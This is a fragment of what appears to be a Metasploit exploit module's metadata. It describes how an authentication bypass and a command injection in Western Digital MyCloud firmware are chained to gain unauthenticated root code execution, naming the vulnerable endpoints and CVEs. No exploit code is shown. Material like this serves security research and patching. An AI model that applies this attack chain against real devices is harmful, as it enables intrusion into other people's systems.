'Name' => 'Western Digital MyCloud unauthenticated command injection',  
'Description' => %q{  
This module exploits authentication bypass (CVE-2018-17153) and  
command injection (CVE-2016-10108) vulnerabilities in Western  
Digital MyCloud before 2.30.196 in order to achieve  
unauthenticated remote code execution as the root user.  
  
The module first performs a check to see if the target is  
WD MyCloud. If so, it attempts to trigger an authentication  
bypass (CVE-2018-17153) via a crafted GET request to  
/cgi-bin/network_mgr.cgi. If the server responds as expected,  
the module assesses the vulnerability status by attempting to  
exploit a commend injection vulnerability (CVE-2016-10108) in  
order to print a random string via the echo command. This is  
done via a crafted POST request to /web/google_analytics.php.  
  
If the server is vulnerable, the same command injection vector  
is leveraged to execute the payload.  
  
This module has been successfully tested against Western Digital  
MyCloud version 2.30.183.  
  
Note: based on the available disclosures, it seems that the  
command injection vector (CVE-2016-10108) might be exploitable  
without the authentication bypass (CVE-2018-17153) on versions  
before 2.21.126. The obtained results on 2.30.183 imply that  
the patch for CVE-2016-10108 did not actually remove the command  
injection vector, but only prevented unauthenticated access to it.
